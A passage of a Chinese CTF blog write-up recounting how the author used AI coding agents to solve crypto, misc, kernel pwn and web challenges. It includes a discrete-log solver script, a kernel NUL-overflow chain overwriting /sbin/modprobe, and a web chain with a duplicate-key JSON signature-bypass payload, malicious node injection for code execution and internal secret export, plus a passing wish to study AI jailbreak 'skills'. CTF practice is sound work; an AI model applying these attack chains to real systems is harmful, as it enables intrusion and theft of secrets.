Y = (y * delta3 * inv(pow(den, 3, p))) % p
return ((A * t * t) % p, (A * Y) % p)


def map_divisor_to_E1(Qu, Qv):
"""Map Mumford divisor [u,v] with u=x^2+u1*x+u0 to E1(F_p)."""
if len(Qu) == 1:
return None
if len(Qu) == 2:
# Rare reduced degree-1 divisor, u=x+u0.
x = (-Qu[0]) % p
y = Qv[0] % p
return map_curve_point_fp(x, y)

u0, u1 = Qu[0] % p, Qu[1] % p
v0 = Qv[0] % p
v1 = Qv[1] % p if len(Qv) > 1 else 0
disc = (u1 * u1 - 4 * u0) % p
inv2 = (p + 1) // 2
ls = legendre(disc)
if ls >= 0:
r = 0 if disc == 0 else sqrt_fp(disc)
xs = [((-u1 + r) * inv2) % p, ((-u1 - r) * inv2) % p]
R = None
for x in xs:
y = (v0 + v1 * x) % p
R = ec_add(R, map_curve_point_fp(x, y))
return R

# Irreducible u: do the same computation over F_p[w]/(w^2-disc), then
# take the F_p-rational Galois-invariant sum.
Elt.disc = disc
w = Elt(0, 1)
x1 = (Elt(-u1, 0) + w) * inv2
x2 = (Elt(-u1, 0) - w) * inv2

def map_ext(x):
y = Elt(v0, 0) + Elt(v1, 0) * x
den = x - beta
t = (x - alpha) / den
Y = y * delta3 / (den ** 3)
return (A * t * t, A * Y)

R = ec_add_ext(map_ext(x1), map_ext(x2))
if R is None:
return None
return (R[0].base(), R[1].base())


def precompute_tables():
tables = []
for q in N1_FACTORS:
G = ec_mul(N1 // q, P1)
m = math.isqrt(q) + 1
table = {}
R = None
for j in range(m):
table.setdefault(R, j)
R = ec_add(R, G)
giant = ec_neg(ec_mul(m, G))
tables.append((q, m, G, giant, table))
print(f"[+] table q={q} m={m}", file=sys.stderr, flush=True)
return tables


def bsgs_prime(H, item):
q, m, G, giant, table = item
R = H
for i in range(m + 1):
j = table.get(R)
if j is not None:
x = i * m + j
if x < q:
return x
R = ec_add(R, giant)
raise ValueError(f"dlog failed for q={q}")


def crt_pair(a1, n1, a2, n2):
t = ((a2 - a1) * pow(n1, -1, n2)) % n2
return (a1 + n1 * t) % (n1 * n2), n1 * n2


def solve_k_mod(Q1, tables):
rem = 0
mod = 1
for item in tables:
q = item[0]
H = ec_mul(N1 // q, Q1)
r = bsgs_prime(H, item)
print(f"[+] k mod {q} = {r}", file=sys.stderr, flush=True)
rem, mod = crt_pair(rem, mod, r, q)
assert mod == N1
if ec_mul(rem, P1) != Q1:
raise ValueError("CRT result does not verify on E1")
return rem


def parse_instance(text: str):
qu = ast.literal_eval(re.search(r"Q_u = (\[[^\n]+\])", text).group(1))
qv = ast.literal_eval(re.search(r"Q_v = (\[[^\n]+\])", text).group(1))
return qu, qv


def recv_until_prompt(sock):
data = b""
sock.settimeout(20)
while b"k =" not in data:
chunk = sock.recv(8192)
if not chunk:
break
data += chunk
return data.decode("utf-8", "replace")


def main():
global HOST, PORTS
if len(sys.argv) >= 2:
PORTS = [int(sys.argv[1])]
if len(sys.argv) >= 3:
HOST = sys.argv[2]
tables = precompute_tables()
s = None
text = ""
for attempt in range(1, 8):
for port in PORTS:
print(f"[+] connecting {HOST}:{port} attempt {attempt}", file=sys.stderr, flush=True)
s = socket.create_connection((HOST, port), timeout=10)
text = recv_until_prompt(s)
if "Q_u =" in text:
break
try:
s.close()
except Exception:
pass
time.sleep(1)
if "Q_u =" in text:
break
time.sleep(3)
if "Q_u =" not in text:
print(text)
raise SystemExit("did not receive a challenge instance")
sys.stderr.write(text + "\n")
Qu, Qv = parse_instance(text)
Q1 = map_divisor_to_E1(Qu, Qv)
print(f"[+] phi1(Q)={Q1}", file=sys.stderr, flush=True)
k = solve_k_mod(Q1, tables)
print(f"[+] k={k}", file=sys.stderr, flush=True)
s.sendall((str(k) + "\n").encode())
out = b""
s.settimeout(10)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except socket.timeout:
pass
sys.stdout.buffer.write(out)


if __name__ == "__main__":
main()

或许我该考虑升级一下sage版本或者在sage上装一些远程交互的库…

Ouroboros - misc

逆天题目,刚开始就开了一个codex在分析这个,一直到非常后面才做出来,期间酷酷过一车人就Fluu不会,彻底红温了.
那么首先各大AI都说,输入是一个20的 vector<float> ,输出是一个21的 vector<float> .根据提示衔尾蛇,我考虑全0然后跑自环,全1,递增,偏移k,甚至把里面的add0和mul1的后面的hex也拿出来拼一起凑flag,或者构造输入跑自环,每一轮输出一个flag的字符,全部失败了.

最后发现是什么呢?gather和slice两种操作在这个程序中是可逆的,所以以这个藏01,拿到了flag的前半段:

1
b'SpiritGame{wtf_h0w_c\x07\xf1'

然后再把这个半段塞进去,吐出来后半段.
这个题真逆天.

不过回头想想也确实,misc如果让你猜输入,这个值域是无限的而且试典型值没什么结果的话就赶紧撤退,考虑模型本身隐藏了哪些信息或比特,或者直接统计某种操作有多少个.

这个题我问了ds,gemini thinking,gpt,claude opus 4.7,还有本地的codex,试了半天才试出来.
脑电波,神奇吧?

附上一些对话…gemini其实挺接近了.

1
2
3
Ouroboros
onnx模型和衔尾蛇有什么关系?
这个题是ctf misc题目,提示是Ouroboros,尝试还原flag

这是一个非常有趣且硬核的 CTF Misc 题目!

ONNX 模型与“衔尾蛇 (Ouroboros)”的关系

在计算机科学和机器学习的语境下,ONNX(Open Neural Network Exchange) 是用于表示深度学习模型的标准格式。从数据结构上讲,标准的 ONNX 模型必须是一个 DAG(有向无环图,Directed Acyclic Graph),这意味着它的数据流是单向的,绝对不允许存在真正的物理环路

然而,“衔尾蛇 (Ouroboros)” 的核心隐喻是“吞噬自己尾巴的蛇”,象征着无限循环、自我递归或首尾相连

这两者结合在一起,指向了这道题的核心考点——这是一个 ONNX Quine(自产生程序)或者在元数据层面首尾相连的“伪环”模型

  1. 结构上的首尾相连:仔细看你提供的文本末尾,在执行完所有计算到达 dead_add_2519_ee66eb 后,它通过一个自定义属性 onnx_bit_chain 直接将尾部强行关联回了最初的输入节点 answer_weight_0001_8f79b3。它在 DAG 的限制下,用元数据画出了一个逻辑上的圆(衔尾蛇)。
  2. 零输入与自生成:模型图内部充斥着大量的常量节点(如 add_zeromul_one),这意味着它不需要外界提供任何输入(Input),仅凭内部的张量进行算术逻辑推演,最终输出自身的网络结构代码或隐蔽的 Flag(即输出 answer_codes)。

尝试还原 Flag 的思路

从你提供的 strings 层面的文本,我们可以看出这道题有两种解法(静态分析提取与动态执行还原):

方法一:静态分析提取比特链(Bit-chain)

文本中存在大量的数学上的无用操作(NOP)

  • add_zero (加 0,值不变)
  • mul_one (乘 1,值不变)

出题人故意使用这些冗余操作,实际上是为了在计算图中嵌入一个二进制流

  • 所有的 add_zero 节点代表二进制的 0
  • 所有的 mul_one 节点代表二进制的 1

你可以按节点的索引顺序(如 001000130031…)将这些特征提取出来。例如最开始的几个特征:
add_zero_0010 (0), mul_one_0013 (1), mul_one_0031 (1), mul_one_0034 (1), mul_one_0072 (1), add_zero_0109 (0), mul_one_0133 (1), mul_one_0146 (1)
这前 8 个操作组成的二进制是 01111011,其对应的十进制是 123,正好对应 ASCII 字符中的 { !(Flag 格式的标志性字符)。
如果将所有这些节点以及末尾处于“dead”状态的 dead_zero 收集全并按每 8 位转换为 ASCII,大概率能直接静态解出被切碎的 Flag。

方法二:动态执行模型(推荐,最快捷)

既然这是一个自驱动的模型,它最终会把所有的二进制链进行拼接、重塑、切片处理,并输出给最终的 answer_codes
由于所有参数内置,你只需要配置好 Python 环境并直接运行推理,让模型自己把 Flag 吐出来。你可以写一段极其简单的 Python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import onnxruntime as ort
import numpy as np

# 加载你的 onnx 模型
sess = ort.InferenceSession("challenge.onnx")

# 这个模型不需要任何外部特征输入,直接让它自我推演(衔尾蛇吞尾)
outputs = sess.run(None, {})

# 它的输出 answer_codes 就是处理好的结果
answer_codes = outputs[0]

# 将张量转换回 uint8 并解码为字符串打印
try:
flag = bytes(answer_codes.astype(np.uint8)).decode('utf-8')
print("解出的 Flag:", flag)
except Exception as e:
print("原始张量输出:", answer_codes)

总结:出题人非常巧妙地将 Flag 二进制化,用 ONNX 里的“乘 1”和“加 0”构筑了一条信息链(onnx-bit-chain),并通过尾部节点挂载头节点的元数据完成了“衔尾蛇”的闭环。跑一下上面的脚本,或者按位转 ASCII 就能拿到最终的 Flag!

NULL - pwn

从这个题开始,Fluu彻底疯狂了,因为进不了前十就血亏,所以用Cursor无脑上了,下面的flag都是Cursor出的.

首先用codex分析了半天:

1
2
[null](null/) 这是一个ctf pwn题目,尝试找到程序的bug并还原flag.
注意:我正等待靶机,你先分析,写好脚本.

结论:/dev/vuln0x400 处的 1-byte NUL 越界写

链路:pipe page overlap → 改 struct file->f_mode → 覆写 /sbin/modprobe → 触发拿 flag。

脚本已备好:null/solve_remote.py(配套 null/exploit_modprobe.c / null/helper_modprobe.c)。
等你给靶机 host:port,直接跑:

1
python null/solve_remote.py --host <IP> --port <PORT>

然后后半段拿到靶机之后codex开始发疯了:

1
2
nc challenge.jlu-terminal.site 41078
这是靶机地址,相关程序: nc位于"D:\SucksFluorine\CTF\MISC\nc\nc.exe"

我先接着现有利用链排查脚本和远程稳定性。
已运行 Get-ChildItem -Force
我先看现有 null 目录里的利用脚本和源码,定位卡在远程哪一步。
已运行 4 条命令
我补看利用程序后半段和启动脚本,确认远程触发顺序。
已运行 4 条命令
我先确认远程脚本是否本身有逻辑 bug,避免“脚本没等到 exploit 跑完”误判成利用失败。
已运行 3 条命令
我顺手看下 rootfs 里的 rootsh,它可能暴露出题目的预期提权/触发方式。
已运行 3 条命令
我确认一下两个二进制是否真的按预期编译成了静态/可执行形式。
已运行 3 条命令
我先把现有远程尝试记录搜出来,看 exploit 停在“触发 modprobe”还是“读 flag”阶段。
已运行 Get-ChildItem -Recurse -File | Select-String -Pattern ‘victim_pipe=|origin_pipe=|/sbin/modprobe overwritten|Bad page state|failed to read flag|triggering modprobe|reading flag|pfn:’ | Select-Object Path,LineNumber,Line | Format-Table -Wrap -AutoSize
我直接连远程跑一轮当前 exploit,采集真实输出。
已运行 python .\null\solve_remote.py —host challenge.jlu-terminal.site —port 41078 —retries 1
我先裸连靶机,看服务实际交互长什么样,排除脚本和题目包装不匹配。
已运行 python -c “import socket,time; s=socket.create_connection((‘challenge.jlu-terminal.site’,41078),10); s.settimeout(2); data=b’’ try: while True: try: c=s.recv(4096) if not c: break data+=c if len(c)<4096: time.sleep(0.2) except Exception: break finally: print(data.decode(‘utf-8’,’replace’)) s.close()”
我换 nc/原始 socket 做最小探测,看看是不是有包装层、超时或需要先发数据。

…………中间真的很长,一直在调用工具改写法,不知道明明有了wp还在改什么

已运行 @’ from elftools.elf.elffile import ELFFile from pathlib import Path p=Path(r’.\null\vuln.ko’) with p.open(‘rb’) as f: elf=ELFFile(f) dwarf=elf.get_dwarf_info() for cu in dwarf.iter_CUs(): for die in cu.iter_DIEs(): if die.tag==’DW_TAG_subprogram’: name=die.attributes.get(‘DW_AT_name’) if name: n=name.value.decode(‘latin1’) if n in (‘module_ioctl’,’module_initialize’): print(‘FUNC’,n) for attr in (‘DW_AT_decl_line’,’DW_AT_low_pc’,’DW_AT_high_pc’): if attr in die.attributes: print(attr, die.attributes[attr].value) for child in die.iter_children(): if child.tag==’DW_TAG_variable’: nm=child.attributes.get(‘DW_AT_name’) if nm: print(‘ local’,nm.value.decode()) print() ‘@ | python -
我找到了 module_ioctl 的 DWARF 行号:main.c:50,继续把局部变量和行对应关系抠出来。

反正就是codex一通胡乱分析,也不知道分析了个啥,反正就是执行一堆命令,甚至触发上下文压缩了,最后没办法手动停掉了.

换Cursor:

1
2
3
4
5
6
7
8
9
10
11
这是一道ctf pwn题目,尝试还原flag.

结论:`/dev/vuln` 有 **0x400 处的 1-byte NUL 越界写**。

链路:`pipe` page overlap → 改 `struct file->f_mode` → 覆写 `/sbin/modprobe` → 触发拿 flag。

你或许可以参考 ../null/ 里面的文件,这个目录是靶机有的全部文件.

靶机连接:
nc challenge.jlu-terminal.site 40246
这是靶机地址,相关程序: nc位于"D:\SucksFluorine\CTF\MISC\nc\nc.exe"

已成功在远程靶机复现利用并拿到 flag。

  • 目标:challenge.jlu-terminal.site:40246
  • 利用链路与你给的一致:/dev/vuln0x400 处 1-byte NUL OOB 写
    pipe page overlap
    → 覆写 struct file->f_mode
    → 写 /sbin/modprobe
    → 触发执行 helper 拷贝 /flag

拿到的 flag 是:

flag{kERNE1-OfF_6Y-NU1l_COmE-AND-G3T-ME103546}

另外我在 null2 下补了一个快速上传脚本 solve_remote_fast.py(以及复制了 exploit_modprobe_buildhelper_modprobe_build),不过最终稳定出 flag 的是参考目录里的 ../null/solve_remote.py(慢一些但可成功)。

flowforge - web

后面的时候发现这个题过的人很多,遂让Cursor跟榜冲,codex也一起上,最后是Opus最先拿到flag.

1
2
3
4
5
6
7
8
9
10
11
12
https://uemjgjhvmjw3.challenge.jlu-terminal.site 这是一个ctf web题目,尝试找到flag


题目背景
FlowForge 是一套用于托管 AI 工作流的内部平台,支持通过 Webhook 触发自动化流程,并允许维护者导入社区 MCP 节点参与构建执行。

在一次 staging 到 production 的发布过程中,团队怀疑某些兼容性逻辑和调试接口被错误带入了线上环境。

你的目标不是拿到管理员密码,而是沿着工作流、构建执行器和内部调试链路,最终导出管理员工作流对应的 secret bundle。

已知信息
已知普通用户账密:demo / demo123

中间因为给其他题目(lllarge)开靶机测试所以中断了一下.

1
2
请继续,现在的网站是
https://ts0ni2ucc3gb.challenge.jlu-terminal.site

成功拿到 flag!

Flag

1
SpiritGame{tH15-IS_a_FLOW-f0rger_4Nd-RUNneR8f7942}

完整攻击链路总结

1. 信息收集

  • 登录 demo/demo123,发现 /api/workflows/api/nodes/webhooks/:id/api/nodes/import 等端点。
  • /workflows/demo-workflow 的构建日志中发现唯一一条真实日志,指向 /support/incidents/FL0WF0RG3-SG2026-PR3V13W-C0MP47
  • 下载工单页面里的 artifact 包 flowforge-partial-src.zip,里面是部分服务端源码、admin_graphql.txtmcp_inspector.txtdeployment_notes.txt,揭示了关键的内部链:
    • 127.0.0.1:9001/graphqlx-internal-token(runner token)调用 debugExport(flowId) 拿到 exportToken
    • 127.0.0.1:9100/debug/export_secret_bundlex-mcp-export-token 兑换 secret bundle

2. Webhook 签名不一致漏洞(核心 0day)

/webhooks/:workflowIdfirstKeyJsonParse(rawBody) 验签,但用标准 JSON.parse(rawBody) 处理业务事件:

1
2
3
4
5
6
7
const signedView = firstKeyJsonParse(rawBody);
const parsedByFirstKey = JSON.stringify(signedView);
const expectedSig = generateHmac(wf.webhook_secret, parsedByFirstKey);
...
if (actorRole !== 'admin' && (signedView.event || '') !== 'workflow.ping') { ... }
const businessData = JSON.parse(rawBody);
if (businessData.event === 'workflow.promote') { ... }

构造重复键 body(demo workflow 的 webhook secret whsec_demo_public_001 是公开的):

1
{"event":"workflow.ping","event":"workflow.promote","target":"demo","role":"maintainer"}
  • firstKeyJsonParseevent=workflow.ping(绕过 actor role 检查)
  • JSON.parseevent=workflow.promote(实际执行 promote 逻辑)

服务器返回:{"status":"ok","message":"User promoted","runner_token":"runn3r_fl0wf0rg3_..."},账户升级为 maintainer 并获得 runner token。

3. MCP 节点注入 → RCE

作为 maintainer 调用 POST /api/nodes/import 注入一个恶意 processor 节点,config.script 里写 Node.js 代码(链式访问 GraphQL + MCP inspector)。

4. 触发构建获取 secret bundle

POST /api/builds/trigger 指定 workflow_id=demo-workflow(让 getLatestRunnerTokenForUser 能取到刚才 promote 拿到的 runner token),node_id=3,runner 在内网执行:

  1. POST 127.0.0.1:9001/graphqlx-internal-token: <RUNNER_TOKEN> 调用 debugExport(flowId:"admin-secret") → 拿到 exportToken
  2. POST 127.0.0.1:9100/debug/export_secret_bundlex-mcp-export-token: <exportToken>{"workflow_id":"admin-secret"} → 返回 bundle,包含 flag。

收获

猛蹬一天AI,怎么说也算有点收获.

  1. 赶到比赛现场立即圈零食抢饮料.
  2. 如果GPT说”更稳的写法”,一般是GPT完全没有方向了所以才开始改自己的写法
  3. 中转站真香,找时间测一测不同的中转站和各种cli怎么用.
  4. 据榜一说,GPT pro似乎不错,找时间订一个月试试.
  5. 咸鱼拼车,或直接找其他中转站的api.
  6. AI破甲skill需要研究一下,或者说彻底研究一下skill,真的用上了.
  7. 学一学别人的提示词怎么写的?如何管理多个并行的agent?
  8. 学一学中转怎么接入claude.

但为什么还是干不过别人呢?我个人认为是工作流和提示词的问题,我不会多开,不会高效管理文件,不会自动一把梭,或者没有订阅gpt…

下面是我这次总结的skill,或许能未来写提示词有点帮助?
但我不知道怎么用欸???

skill

你是一个网安高手,现有一个题目,试拿到flag.

我的系统配置:
Windows11,wsl2.6.1.0,Ubuntu 22.04.1 LTS,docker里面拉了一个kali Linux,有npm,有python.

相关工具:
nc: “D:\SucksFluorine\CTF\MISC\nc\nc.exe”
sagemath: “D:\Program Files (x86)\SageMath 9.3\runtime\bin\mintty.exe” -t ‘SageMath 9.3 Console’ -i sagemath.ico /bin/bash —login -c ‘/opt/sagemath-9.3/sage’
yafu(分解质因数,用法factor(123456)):”D:\SucksFluorine\CTF\CRYPTO\yafu\yafu64.exe”
sqlmap:”D:\SucksFluorine\CTF\WEB\sqlmap-master\sqlmap.py”
githack:”D:\SucksFluorine\CTF\WEB\GitHack-master\GitHack.py”
dirsearch:”D:\SucksFluorine\CTF\WEB\dirsearch-master\dirsearch.py”

你可以调用任何工具解决问题.
你可以在python调用任何包,如果该包不存在则允许pip install,能直接解决就不要走弯路.

做题

AI冲击着做题蛆.
Fluu做题有以下几个原则:
1.自身有效提升.(例如某些不能用AI的情景需要自身提升等)
2.收集灵感(例如这个题很新颖,或者这种题目是怎么出的?)

不然就结合AI做题.